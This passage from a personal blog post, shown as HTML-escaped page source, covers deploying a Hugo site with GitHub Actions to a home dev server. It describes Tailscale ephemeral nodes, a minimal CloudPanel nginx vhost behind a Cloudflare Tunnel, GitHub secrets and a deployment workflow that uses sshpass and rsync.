&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo tailscale up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The figure below shows an example of an ephemeral node, which created and deleted in approx. a minute.
&lt;p&gt;

    &lt;img src=&#34;images/tailscale-1.png&#34; alt=&#34;Tailscale ephemeral note&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Our Build server is essentially spun up when something is committed in a specific branch, and as a result, we need to get that added to the Tailscale network - but it should not be permanent. Over time, that will pollute the tailnet and make things more difficult to manage. Tailscale has a perfect solution for this - &lt;a href=&#34;https://tailscale.com/kb/1111/ephemeral-nodeshttps://tailscale.com/kb/1111/ephemeral-nodes&#34; target=&#34;_blank&#34;&gt;Ephemeral nodes&lt;/a&gt;. These nodes, as the name suggests, make it easier to connect and then clean up short-lived devices such as containers, cloud functions, or CI/CD systems that spin up and spin down on a regular basis.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To use this, we generate an &lt;strong&gt;Ephemeral Auth Key&lt;/strong&gt; from the auth keys page of the Tailscale admin console. Given that the build server would need this, we store this key in GitHub as &lt;code&gt;TS_AUTH_KEY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This allows the ephemeral GitHub Actions runner to connect to my dev server privately, even when I don&amp;rsquo;t have any inbound ports open.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;24-nginx-configuration-via-cloudpanel&#34;&gt;2.4. Nginx Configuration via CloudPanel&lt;/h3&gt;
&lt;p&gt;CloudPanel typically manages the Nginx configuration for each “Site” automatically. It also handles SSL certificates, logs, etc. However, in this case, we are relying on Cloudflare Tunnel, and as a result, we do not need SSL termination on the server; Cloudflare can handle it and forward HTTP internally.
We therefore need to ensure that the config file (vhost) in CloudPanel is minimal. Below is an example of what I use:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;server&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;listen&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;80&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;listen&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;[::]:80&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;server_name&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;blog.desigeek.com&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;{{root}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&lt;span style=&#34;color:#8bd5ca&#34;&gt;{nginx_access_log}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&lt;span style=&#34;color:#8bd5ca&#34;&gt;{nginx_error_log}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;location&lt;/span&gt; ~ &lt;span style=&#34;color:#8bd5ca&#34;&gt;/.well-known&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;auth_basic&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;off&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;allow&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;all&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;{{settings}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;include&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;/etc/nginx/global_settings&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;index&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;index.html&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;location&lt;/span&gt; ~&lt;span style=&#34;color:#8bd5ca&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;^.+\.(css|js|jpg|jpeg|gif|png|ico|gz|svg|svgz|ttf|otf|woff|woff2|eot|mp4|ogg|ogv|webm|webp|zip|swf)&lt;/span&gt;$ {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;add_header&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;Access-Control-Allow-Origin&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;expires&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;max&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;access_log&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;off&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8bd5ca&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;(-f&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$request_filename&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Please note that &lt;code&gt;{{root}}&lt;/code&gt; points to &lt;code&gt;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/code&gt;, which is set up in the CloudPanel site configuration.&lt;/p&gt;
&lt;p&gt;The figure below shows what this would look like in CloudPanel.&lt;/p&gt;
&lt;h2 id=&#34;cloudpanel---vhost-editor&#34;&gt;&lt;p&gt;

    &lt;img src=&#34;images/cloudpanel-3.png&#34; alt=&#34;CloudPanel - Vhost editor&#34;/&gt;

&lt;/p&gt;&lt;/h2&gt;
&lt;h3 id=&#34;3-github-actions-configuration&#34;&gt;3. GitHub Actions Configuration&lt;/h3&gt;
&lt;p&gt;We finally get to the main thing of building out GitHub actions that will trigger whenever something is checked in on a certain branch. All the other things until now were to essentially expose this dev machine externally (specifically the blog) and allow the build server to deploy to this dev server running at home. If you have a publicly accessible dev machine, much of this might not be required.&lt;/p&gt;
&lt;h3 id=&#34;31-storing-variables--secrets-in-github&#34;&gt;3.1. Storing Variables &amp;amp; Secrets in GitHub&lt;/h3&gt;
&lt;p&gt;We start by storing the variables and secrets we need for this to work. The details are outlined below. To set these up, go to &lt;strong&gt;Settings → Secrets and variables → Actions&lt;/strong&gt; in your GitHub repo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Variables (non-sensitive)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SERVER_HOSTNAME&lt;/code&gt; = &lt;code&gt;my-dev-server&lt;/code&gt; (or your Cloudflare Tunnel/hostname). If Tailscale is used, it might be the Tailscale IP/hostname.
&lt;ul&gt;
&lt;li&gt;Note: If you are using Tailscale, the notation of machine-name.local will not resolve and fail, even with MagicDNS enabled. It is best to use the machine name (e.g., &lt;code&gt;my-dev-server&lt;/code&gt; and not &lt;code&gt;my-dev-server.local&lt;/code&gt; or the IP address from the Tailnet)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVER_USERNAME&lt;/code&gt; = &lt;code&gt;blog-ssh&lt;/code&gt; (the SSH user you created in CloudPanel).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HUGO_VERSION&lt;/code&gt; = e.g., &lt;code&gt;0.140.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HUGO_EXTENDED&lt;/code&gt; = &lt;code&gt;true&lt;/code&gt; (if you want the extended version, otherwise &lt;code&gt;false&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Secrets (sensitive)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SSH_PASSWORD&lt;/code&gt; = &lt;em&gt;the password for &lt;code&gt;blog-ssh&lt;/code&gt;&lt;/em&gt;; this was either set or auto-generated when you created the account in CloudPanel.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TS_AUTH_KEY&lt;/code&gt; = &lt;em&gt;Your Tailscale ephemeral auth key&lt;/em&gt; (only if using Tailscale).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The screenshot below shows what this would look like:
&lt;p&gt;

    &lt;img src=&#34;images/gh-1.png&#34; alt=&#34;GitHub Actions secrets and variables&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;32-github-actions-workflow&#34;&gt;3.2 GitHub Actions Workflow&lt;/h3&gt;
&lt;p&gt;The code below outlines a sample workflow for this. It checks out the code, builds it with Hugo, and, once complete, copies it over to the dev server, where I can expose it securely to test it. To allow us to do this, we take a dependency on &lt;code&gt;sshpass&lt;/code&gt; and &lt;code&gt;rsync&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I do have a few things to check as this happens to ensure there aren&amp;rsquo;t any failures. When Hugo is finished, we show some basic stats, such as the number of files and folders created. This is called &lt;code&gt;Show public directory stats&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another is to test the SSH connection, as without that, the build machine cannot talk to the dev server where the final site is getting deployed. This step is called &lt;code&gt;Test SSH Connection&lt;/code&gt;. At a high level, here is the flow that this goes through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check out the code&lt;/li&gt;
&lt;li&gt;Installs Tailscale and connects as an ephemeral node&lt;/li&gt;
&lt;li&gt;Builds with Hugo&lt;/li&gt;
&lt;li&gt;Installs &lt;code&gt;sshpass&lt;/code&gt; &amp;amp; &lt;code&gt;rsync&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;rsync&lt;/code&gt; to deploy to the server&lt;/li&gt;
&lt;li&gt;Rolls back if the build fails&lt;/li&gt;
&lt;li&gt;Logs out of Tailscale at the end&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Below is a sample &lt;code&gt;.github/workflows/deploy-hugo.yml&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Deploy Hugo Site
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;push&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;branches&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - main  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# or your chosen branch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;deploy&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;runs-on&lt;/span&gt;: ubuntu-latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Gets non-sensitive values from &amp;#34;Variables&amp;#34; (not Secrets)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;SERVER_HOSTNAME&lt;/span&gt;: ${{ vars.SERVER_HOSTNAME }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;SERVER_USERNAME&lt;/span&gt;: ${{ vars.SERVER_USERNAME }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;HUGO_VERSION&lt;/span&gt;: ${{ vars.HUGO_VERSION }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;HUGO_EXTENDED&lt;/span&gt;: ${{ vars.HUGO_EXTENDED }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Checkout code
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;uses&lt;/span&gt;: actions/checkout@v3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Optional Tailscale login if you&amp;#39;re using Tailscale for SSH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Setup Tailscale
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;uses&lt;/span&gt;: tailscale/github-action@v3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;authkey&lt;/span&gt;: ${{ secrets.TS_AUTH_KEY }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;statedir&lt;/span&gt;: /tmp/tailscale-state/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Setup Hugo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;uses&lt;/span&gt;: peaceiris/actions-hugo@v2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;hugo-version&lt;/span&gt;: ${{ env.HUGO_VERSION }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;extended&lt;/span&gt;: ${{ env.HUGO_EXTENDED }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Build Hugo site
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;id&lt;/span&gt;: build-site
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          hugo --minify -d public&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Verify Hugo Output
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;: steps.build-site.outcome == &amp;#39;success&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          if [ ! -d &amp;#34;public&amp;#34; ] || [ -z &amp;#34;$(ls -A public)&amp;#34; ]; then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            echo &amp;#34;Error: &amp;#39;public&amp;#39; directory is empty or does not exist.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            exit 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          fi
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          echo &amp;#34;Public directory exists and is not empty.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Show public directory stats
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;: steps.build-site.outcome == &amp;#39;success&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          cd public
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          echo &amp;#34;Files: $(find . -type f | wc -l)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          echo &amp;#34;Directories: $(find . -type d | wc -l)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          echo &amp;#34;Size: $(du -sm . | cut -f1) MB&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Install sshpass and rsync
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          sudo apt-get install -y sshpass rsync&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Test SSH Connection
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          sshpass -p &amp;#34;${{ secrets.SSH_PASSWORD }}&amp;#34; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            ssh -o StrictHostKeyChecking=no ${{ env.SERVER_USERNAME }}@${{ env.SERVER_HOSTNAME }} \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            &amp;#39;echo &amp;#34;SSH Connection Successful&amp;#34;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Deploy via rsync
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;: steps.build-site.outcome == &amp;#39;success&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;SSH_PASSWORD&lt;/span&gt;: ${{ secrets.SSH_PASSWORD }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          sshpass -p &amp;#34;$SSH_PASSWORD&amp;#34; rsync -az --delete \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            -e &amp;#34;ssh -o StrictHostKeyChecking=no&amp;#34; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            public/ ${{ env.SERVER_USERNAME }}@${{ env.SERVER_HOSTNAME }}:/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
